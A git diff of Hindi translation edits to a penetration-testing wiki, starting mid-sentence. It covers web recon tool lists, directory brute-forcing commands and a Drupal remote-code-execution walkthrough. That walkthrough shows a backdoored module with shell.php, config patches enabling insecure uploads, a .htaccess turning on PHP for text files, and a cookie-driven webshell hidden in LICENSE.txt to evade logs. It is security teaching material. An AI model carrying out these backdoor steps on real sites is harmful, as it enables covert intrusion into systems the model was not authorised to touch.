URL को खोजेगा और निकालेगा। +* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): एक पायथन 2.7 स्क्रिप्ट जो Tornado और JSBeautifier का उपयोग करके जावास्क्रिप्ट फ़ाइलों से सापेक्ष URL को पार्स करती है। AJAX अनुरोधों को आसानी से खोजने के लिए उपयोगी। अप्रबंधित प्रतीत होता है। +* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): एक फ़ाइल (HTML) दी गई है, यह निफ्टी नियमित अभिव्यक्ति का उपयोग करके URL को निकालता है और बदसूरत (मिनिफाई) फ़ाइलों से सापेक्ष URL को खोजता है और निकालता है। * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, कई उपकरण): कई उपकरणों का उपयोग करके JS फ़ाइलों से दिलचस्प जानकारी इकट्ठा करें। * [**subjs**](https://github.com/lc/subjs) (go): JS फ़ाइलें खोजें। -* [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और पृष्ठ को लोड करने के लिए लोड किए गए सभी URL को प्रिंट करें। -* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): कई पिछले उपकरणों के विकल्पों को मिलाकर सामग्री खोजने का उपकरण। +* [**page-fetch**](https://github.com/detectify/page-fetch) (go): एक हेडलेस ब्राउज़र में एक पृष्ठ लोड करें और सभी URL प्रिंट करें जो पृष्ठ को लोड करने के लिए लोड किए गए हैं। +* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): सामग्री खोज उपकरण जो पिछले उपकरणों के कई विकल्पों को मिलाता है। * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS फ़ाइलों में पथ और पैरामीटर खोजने के लिए एक Burp एक्सटेंशन। -* [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो .js.map URL दिए जाने पर आपको ब्यूटीफाइड JS कोड प्राप्त करेगा। +* [**Sourcemapper**](https://github.com/denandz/sourcemapper): एक उपकरण जो .js.map URL दिया गया है, आपको ब्यूटीफाइड JS कोड प्राप्त करेगा। * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): यह एक उपकरण है जिसका उपयोग किसी दिए गए लक्ष्य के लिए एंडपॉइंट्स खोजने के लिए किया जाता है। -* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** वेबैक मशीन से लिंक खोजें (जवाबों को वेबैक में डाउनलोड करते हुए और अधिक लिंक की तलाश करते हुए)। -* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): क्रॉल करें (यहां तक कि फ़ॉर्म भरकर) और विशिष्ट regex का उपयोग करके संवेदनशील जानकारी खोजें। +* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** वेबैक मशीन से लिंक खोजें (जवाबों को वेबैक में डाउनलोड करना और अधिक लिंक की तलाश करना)। +* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): क्रॉल करें (यहां तक कि फ़ॉर्म भरकर) और विशिष्ट regexes का उपयोग करके संवेदनशील जानकारी खोजें। * [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite एक उन्नत मल्टी-फीचर GUI वेब सुरक्षा क्रॉलर/स्पाइडर है जिसे साइबर सुरक्षा पेशेवरों के लिए डिज़ाइन किया गया है। -* [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go पैकेज और [कमांड-लाइन उपकरण](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत कोड से URL, पथ, रहस्य और अन्य दिलचस्प डेटा निकालता है। +* [**jsluice**](https://github.com/BishopFox/jsluice) (go): यह एक Go पैकेज और [कमांड-लाइन उपकरण](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) है जो जावास्क्रिप्ट स्रोत कोड से URL, पथ, रहस्य और अन्य दिलचस्प डेटा निकालने के लिए है। * [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge एक सरल **Burp Suite एक्सटेंशन** है जो **फज़िंग और एन्यूमरेशन के लिए कस्टम वर्डलिस्ट बनाने के लिए अनुरोध से पैरामीटर और एंडपॉइंट्स निकालता है।** * [**katana**](https://github.com/projectdiscovery/katana) (go): इसके लिए शानदार उपकरण। * [**Crawley**](https://github.com/s0rg/crawley) (go): यह प्रिंट करता है हर लिंक जिसे यह खोजने में सक्षम है। ### Brute Force directories and files -रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके पाए गए **सभी** **निर्देशिकाओं** को ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजी गई** सभी निर्देशिकाओं को।\ +रूट फ़ोल्डर से **ब्रूट-फोर्सिंग** शुरू करें और सुनिश्चित करें कि **इस विधि** का उपयोग करके **पाई गई सभी** **डायरेक्टरीज़** को ब्रूट-फोर्स करें और **स्पाइडरिंग** द्वारा **खोजी गई** सभी डायरेक्टरीज़ को।\ उपकरण: * **Dirb** / **Dirbuster** - काली में शामिल, **पुराना** (और **धीमा**) लेकिन कार्यात्मक। स्वचालित-हस्ताक्षरित प्रमाणपत्रों और पुनरावृत्त खोज की अनुमति देता है। अन्य विकल्पों की तुलना में बहुत धीमा। @@ -259,15 +259,15 @@ Information about SSL/TLS vulnerabilities: * [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- तेज, पुनरावृत्त खोज का समर्थन करता है।** * [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` * [**ffuf** ](https://github.com/ffuf/ffuf)- तेज: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -* [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है बल्कि एक उपकरण है जो पाए गए URL की सूची दी गई है, "डुप्लिकेट" URL को हटाने के लिए। -* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): विभिन्न पृष्ठों के बर्प इतिहास से निर्देशिकाओं की एक सूची बनाने के लिए बर्प एक्सटेंशन। -* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): कार्यक्षमता के साथ डुप्लिकेट URL को हटाएं (JS आयात के आधार पर)। +* [**uro**](https://github.com/s0md3v/uro) (python): यह एक स्पाइडर नहीं है बल्कि एक उपकरण है जो पाई गई URL की सूची दी गई है, "डुप्लिकेट" URL को हटाने के लिए। +* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): विभिन्न पृष्ठों के बर्प इतिहास से डायरेक्टरीज़ की एक सूची बनाने के लिए बर्प एक्सटेंशन। +* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): कार्यक्षमता के साथ डुप्लिकेट URL को हटा दें (JS आयात के आधार पर)। * [**Chamaleon**](https://github.com/iustin24/chameleon): यह उपयोग की गई तकनीकों का पता लगाने के लिए wapalyzer का उपयोग करता है और उपयोग करने के लिए वर्डलिस्ट का चयन करता है। **Recommended dictionaries:** * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt) -* [**Dirsearch** शामिल शब्दकोश](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +* [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) * [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) * [Assetnote wordlists](https://wordlists.assetnote.io) * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) @@ -283,7 +283,7 @@ Information about SSL/TLS vulnerabilities: * _/usr/share/wordlists/dirb/big.txt_ * _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया निर्देशिका खोजा जाता है, इसे ब्रूट-फोर्स किया जाना चाहिए।_ +_ध्यान दें कि जब भी ब्रूट-फोर्सिंग या स्पाइडरिंग के दौरान एक नया डायरेक्टरी खोजा जाता है, तो इसे ब्रूट-फोर्स किया जाना चाहिए।_ ### What to check on each file found @@ -295,14 +295,14 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) * _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) * **Comments:** सभी फ़ाइलों की टिप्पणियों की जांच करें, आप **क्रेडेंशियल्स** या **छिपी हुई कार्यक्षमता** पा सकते हैं। -* यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है **जानकारी** को **छिपाना** टिप्पणियों के अंदर **पृष्ठ** के **दाईं** ओर (स्रोत कोड को ब्राउज़र के साथ खोलने पर डेटा नहीं देखने के लिए **सैकड़ों** **स्पेस** का उपयोग करके)। दूसरी संभावना यह है कि **कई नए लाइनों** का उपयोग करें और **वेब पृष्ठ के नीचे** एक टिप्पणी में **जानकारी** छिपाएं। -* **API keys**: यदि आप **कोई API कुंजी** पाते हैं, तो विभिन्न प्लेटफार्मों के API कुंजी का उपयोग करने के लिए एक गाइड है: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -* Google API keys: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किस एपीआई तक पहुँच सकती है। -* **S3 Buckets**: स्पाइडरिंग करते समय देखें कि क्या कोई **सबडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। उस मामले में, [**बकेट के **अनुमतियों** की जांच करें](buckets/)। +* यदि आप **CTF** खेल रहे हैं, तो एक "सामान्य" चाल है **जानकारी** को **छिपाना** **पृष्ठ** के **दाईं** ओर टिप्पणियों के अंदर (स्रोत कोड को ब्राउज़र के साथ खोलने पर डेटा नहीं देखने के लिए **सैकड़ों** **स्पेस** का उपयोग करना)। दूसरी संभावना यह है कि **कई नए लाइनों** का उपयोग करें और **वेब पृष्ठ के नीचे** एक टिप्पणी में **जानकारी** छिपाएं। +* **API keys**: यदि आप **कोई API कुंजी** पाते हैं, तो विभिन्न प्लेटफार्मों की API कुंजी का उपयोग करने के लिए एक गाइड है: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +* Google API keys: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किस API तक पहुँच सकती है। +* **S3 Buckets**: स्पाइडरिंग करते समय देखें कि क्या कोई **सबडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट के **अनुमतियों** की जांच करें](buckets/)। ### Special findings -**जब** आप **स्पाइडरिंग** और **ब्रूट-फोर्सिंग** कर रहे हों, तो आप **दिलचस्प** **चीजें** पा सकते हैं जिन पर आपको **ध्यान देना चाहिए**। +**जब** आप **स्पाइडरिंग** और **ब्रूट-फोर्सिंग** कर रहे होते हैं, तो आप **दिलचस्प** **चीजें** पा सकते हैं जिन पर आपको **ध्यान देना चाहिए**। **Interesting files** @@ -310,13 +310,13 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स * [यदि आप एक _**.git**_ फ़ाइल पाते हैं तो कुछ जानकारी निकाली जा सकती है](git.md) * यदि आप एक _**.env**_ पाते हैं, तो API कुंजी, DB पासवर्ड और अन्य जानकारी मिल सकती है। * यदि आप **API एंडपॉइंट्स** पाते हैं, तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "उनकी तरह" दिखेंगी। -* **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया था जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **हर JS फ़ाइल की निगरानी करना दिलचस्प होगा**, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित भेद्यता पेश की गई थी। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।** -* आपको [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ खोजे गए JS फ़ाइलों की भी जांच करनी चाहिए कि क्या यह संवेदनशील है। +* **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया था जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **हर JS फ़ाइल की निगरानी करना दिलचस्प होगा**, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित भेद्यता पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।** +* आपको [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ खोजी गई JS फ़ाइलों की भी जांच करनी चाहिए कि क्या यह संवेदनशील है। * **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) * **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) * **JsFuck deobfuscation** (जावास्क्रिप्ट के साथ वर्ण:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)) * [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -* कई अवसरों पर आपको उपयोग की गई नियमित अभिव्यक्तियों को **समझने** की आवश्यकता होगी, यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) +* कई अवसरों पर आपको उपयोग की गई नियमित अभिव्यक्तियों को **समझने की आवश्यकता होगी**, यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) * आप उन फ़ाइलों की भी निगरानी कर सकते हैं जहां फ़ॉर्म का पता लगाया गया था, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नए संवेदनशील कार्यक्षमता का संकेत दे सकता है। **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -337,11 +337,11 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स **HTTP Redirect (CTF)** -यह संभव है कि **Redirection** के अंदर **सामग्री** डाली जाए। यह सामग्री **उपयोगकर्ता को नहीं दिखाई देगी** (क्योंकि ब्राउज़र रीडायरेक्शन को निष्पादित करेगा) लेकिन वहाँ कुछ **छिपा** हो सकता है। +यह संभव है कि **रेडायरेक्शन** के अंदर **सामग्री** डाली जाए। यह सामग्री **उपयोगकर्ता को नहीं दिखाई देगी** (क्योंकि ब्राउज़र रेडायरेक्शन को निष्पादित करेगा) लेकिन वहाँ कुछ **छिपा** हो सकता है। ### Web Vulnerabilities Checking -अब जब वेब एप्लिकेशन की एक व्यापक सूची बनाई गई है, तो संभावित भेद्यताओं की जांच करने का समय है। आप चेकलिस्ट यहाँ पा सकते हैं: +अब जब वेब एप्लिकेशन का एक व्यापक एन्यूमरेशन किया गया है, तो संभावित भेद्यताओं की जांच करने का समय है। आप चेकलिस्ट यहाँ पा सकते हैं: {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %} [web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md) @@ -355,11 +355,11 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स ### Monitor Pages for changes -आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों में संशोधनों की निगरानी कर सकते हैं जो संभावित भेद्यताओं को डाल सकते हैं। +आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों की निगरानी कर सकते हैं ताकि संशोधन जो भेद्यताओं को डाल सकते हैं। -
+
-यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)। +यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)। {% embed url="https://www.stmcyber.com/careers" %} diff --git a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md index 2e7ff6e43..3c2a43002 100644 --- a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md +++ b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md @@ -80,7 +80,7 @@ RewriteBase / mv shell.php .htaccess captcha tar cvf captcha.tar.gz captcha/ ``` -* मान लीजिए कि हमारे पास वेबसाइट पर **प्रशासनिक पहुंच** है, **`Manage`** पर क्लिक करें और फिर साइडबार में **`Extend`** पर क्लिक करें। अगला, **`+ Install new module`** बटन पर क्लिक करें, और हमें इंस्टॉलेशन पृष्ठ पर ले जाया जाएगा, जैसे `http://drupal-site.local/admin/modules/install` बैकडोर किए गए कैप्चा आर्काइव पर जाएं और **`Install`** पर क्लिक करें। +* मान लीजिए कि हमारे पास **प्रशासनिक पहुंच** है वेबसाइट पर, **`Manage`** पर क्लिक करें और फिर साइडबार में **`Extend`** पर क्लिक करें। अगला, **`+ Install new module`** बटन पर क्लिक करें, और हमें इंस्टॉलेशन पृष्ठ पर ले जाया जाएगा, जैसे `http://drupal-site.local/admin/modules/install` बैकडोर कैप्चा संग्रह पर जाएं और **`Install`** पर क्लिक करें। * एक बार इंस्टॉलेशन सफल होने के बाद, **`/modules/captcha/shell.php`** पर जाएं ताकि कमांड निष्पादित कर सकें। ## Drupal को कॉन्फ़िगरेशन समन्वय के साथ बैकडोर करना @@ -89,28 +89,28 @@ tar cvf captcha.tar.gz captcha/ ### भाग 1 (_Media_ और _Media Library_ का सक्रियण) -_Extend_ मेनू (/admin/modules) में, आप उन प्लगइन्स को सक्रिय कर सकते हैं जो पहले से स्थापित प्रतीत होते हैं। डिफ़ॉल्ट रूप से, प्लगइन्स _Media_ और _Media Library_ सक्रिय नहीं होते हैं, इसलिए चलिए इन्हें सक्रिय करते हैं। +_Extend_ मेनू (/admin/modules) में, आप उन प्लगइन्स को सक्रिय कर सकते हैं जो पहले से स्थापित प्रतीत होते हैं। डिफ़ॉल्ट रूप से, प्लगइन्स _Media_ और _Media Library_ सक्रिय नहीं दिखाई देते हैं, इसलिए चलिए इन्हें सक्रिय करते हैं। सक्रियकरण से पहले: -
+
सक्रियकरण के बाद: -
+
-
+
-### भाग 2 (_Configuration synchronization_ फीचर का लाभ उठाना) +### भाग 2 (_Configuration synchronization_ फ़ीचर का लाभ उठाना) -हम _Configuration synchronization_ फीचर का लाभ उठाकर Drupal कॉन्फ़िगरेशन प्रविष्टियों को डंप (निर्यात) और अपलोड (आयात) करेंगे: +हम _Configuration synchronization_ फ़ीचर का लाभ उठाकर Drupal कॉन्फ़िगरेशन प्रविष्टियों को डंप (निर्यात) और अपलोड (आयात) करेंगे: * /admin/config/development/configuration/single/export * /admin/config/development/configuration/single/import **Patch system.file.yml** -आइए पहले प्रविष्टि `allow_insecure_uploads` को पैच करने से शुरू करें: +आइए पहले प्रविष्टि `allow_insecure_uploads` को पैच करना शुरू करें: File: system.file.yml ``` @@ -122,7 +122,7 @@ allow_insecure_uploads: false ... ``` -
+
के लिए: @@ -136,7 +136,7 @@ allow_insecure_uploads: true ... ``` -
+
**Patch field.field.media.document.field\_media\_document.yml** @@ -152,9 +152,9 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod ... ``` -
+
-के लिए: +को: फाइल: field.field.media.document.field\_media\_document.yml ``` @@ -166,13 +166,13 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od ... ``` -> मैं इसे इस ब्लॉगपोस्ट में उपयोग नहीं करता, लेकिन यह नोट किया गया है कि इसे मनमाने तरीके से `file_directory` को परिभाषित करना संभव है और यह एक पथ traversal हमले के लिए संवेदनशील है (इसलिए हम Drupal फ़ाइल सिस्टम पेड़ के भीतर वापस जा सकते हैं)। +> मैं इसे इस ब्लॉगपोस्ट में उपयोग नहीं करता, लेकिन यह नोट किया गया है कि इसे मनमाने तरीके से `file_directory` प्रविष्टि को परिभाषित करना संभव है और यह पथ traversal हमले के प्रति संवेदनशील है (इसलिए हम Drupal फ़ाइल सिस्टम पेड़ के भीतर वापस जा सकते हैं)। -
+
-### भाग 3 (विशेषता _Add Document_ का लाभ उठाना) +### भाग 3 (विशेषता _दस्तावेज़ जोड़ें_ का लाभ उठाना) -अंतिम कदम सबसे सरल है, और इसे दो उप-चरणों में विभाजित किया गया है। पहला है .htaccess प्रारूप में एक फ़ाइल अपलोड करना ताकि Apache निर्देशों का लाभ उठाया जा सके और .txt फ़ाइलों को PHP इंजन द्वारा व्याख्यायित करने की अनुमति दी जा सके। दूसरा है हमारी payload को शामिल करने वाली एक .txt फ़ाइल अपलोड करना। +अंतिम कदम सबसे सरल है, और इसे दो उप-चरणों में विभाजित किया गया है। पहला है .htaccess प्रारूप में एक फ़ाइल अपलोड करना ताकि Apache निर्देशों का लाभ उठाया जा सके और .txt फ़ाइलों को PHP इंजन द्वारा व्याख्यायित करने की अनुमति दी जा सके। दूसरा है हमारी पेलोड वाली .txt फ़ाइल अपलोड करना। File: .htaccess ``` @@ -194,13 +194,13 @@ php_flag engine on ``` क्यों यह ट्रिक कूल है? -क्योंकि एक बार जब Webshell (जिसे हम LICENSE.txt कहेंगे) वेब सर्वर पर डाल दिया जाता है, हम अपने कमांड `$_COOKIE` के माध्यम से भेज सकते हैं और वेब सर्वर लॉग में, यह एक वैध GET अनुरोध के रूप में एक टेक्स्ट फ़ाइल के लिए दिखाई देगा। +क्योंकि एक बार जब Webshell (जिसे हम LICENSE.txt कहेंगे) वेब सर्वर पर ड्रॉप किया जाता है, हम अपने कमांड `$_COOKIE` के माध्यम से भेज सकते हैं और वेब सर्वर लॉग में, यह एक वैध GET अनुरोध के रूप में एक टेक्स्ट फ़ाइल के लिए दिखाई देगा। हमारे Webshell का नाम LICENSE.txt क्यों रखा जाए? -सिर्फ इसलिए क्योंकि यदि हम निम्नलिखित फ़ाइल लेते हैं, उदाहरण के लिए [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (जो पहले से ही Drupal कोर में मौजूद है), तो हमारे पास 339 पंक्तियों और 17.6 KB आकार की एक फ़ाइल है, जो बीच में एक छोटा PHP कोड स्निपेट जोड़ने के लिए एकदम सही है (क्योंकि फ़ाइल काफी बड़ी है)। +सिर्फ इसलिए क्योंकि अगर हम निम्नलिखित फ़ाइल लेते हैं, उदाहरण के लिए [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (जो पहले से ही Drupal कोर में मौजूद है), तो हमारे पास 339 पंक्तियों और 17.6 KB आकार की एक फ़ाइल है, जो बीच में एक छोटा PHP कोड स्निपेट जोड़ने के लिए एकदम सही है (क्योंकि फ़ाइल काफी बड़ी है)। -
+
फ़ाइल: पैच किया गया LICENSE.txt ```txt @@ -235,11 +235,11 @@ programs whose distribution conditions are different, write to the author पहले, हम _Add Document_ (/media/add/document) सुविधा का उपयोग करके अपनी फाइल अपलोड करते हैं जिसमें Apache निर्देश (.htaccess) होते हैं। -
+
-
+
-
+
**Part 3.2 (फाइल अपलोड करें LICENSE.txt)** @@ -255,7 +255,7 @@ programs whose distribution conditions are different, write to the author अंतिम भाग Webshell के साथ इंटरैक्ट करने का है। -जैसा कि निम्नलिखित स्क्रीनशॉट में दिखाया गया है, यदि हमारे Webshell द्वारा अपेक्षित कुकी परिभाषित नहीं है, तो हम वेब ब्राउज़र के माध्यम से फाइल परामर्श करते समय निम्नलिखित परिणाम प्राप्त करते हैं। +जैसा कि निम्नलिखित स्क्रीनशॉट में दिखाया गया है, यदि हमारे Webshell द्वारा अपेक्षित कुकी परिभाषित नहीं है, तो हमें वेब ब्राउज़र के माध्यम से फाइल परामर्श करते समय निम्नलिखित परिणाम मिलता है।
diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md index 80b890c6b..456c73b27 100644 --- a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md +++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: 
 </details>
 {% endhint %}
 
-यदि preload स्क्रिप्ट main.js फ़ाइल से एक IPC एंडपॉइंट को उजागर करती है, तो रेंडरर प्रक्रिया इसे एक्सेस कर सकेगी और यदि यह कमजोर है, तो RCE संभव हो सकता है।
+यदि preload स्क्रिप्ट main.js फ़ाइल से एक IPC एंडपॉइंट को उजागर करती है, तो रेंडर प्रक्रिया इसे एक्सेस कर सकेगी और यदि यह कमजोर है, तो RCE संभव हो सकता है।
 
 **इनमें से अधिकांश उदाहरण यहाँ से लिए गए थे** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)। आगे की जानकारी के लिए वीडियो देखें।
 
@@ -23,7 +23,7 @@ Learn & practice GCP Hacking: <img src=
+
## Example 1 diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md index bd6ab97d9..d09188d2c 100644 --- a/network-services-pentesting/pentesting-web/jira.md +++ b/network-services-pentesting/pentesting-web/jira.md @@ -15,7 +15,7 @@ Learn & practice GCP Hacking: {% endhint %} -
+
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अ-हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_). @@ -23,9 +23,9 @@ Learn & practice GCP Hacking:
+
-यदि आप **हैकिंग करियर** में रुचि रखते हैं और अडिग को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक_). +यदि आप **हैकिंग करियर** में रुचि रखते हैं और अन्हैक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)। {% embed url="https://www.stmcyber.com/careers" %} @@ -144,7 +144,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें! -* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** पर हमें **फॉलो** करें** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर हमें फॉलो करें।** * **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PR सबमिट करें।** diff --git a/pentesting-web/file-upload/README.md b/pentesting-web/file-upload/README.md index d7d5b759b..935c5cc0d 100644 --- a/pentesting-web/file-upload/README.md +++ b/pentesting-web/file-upload/README.md @@ -15,7 +15,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < {% endhint %} -
+
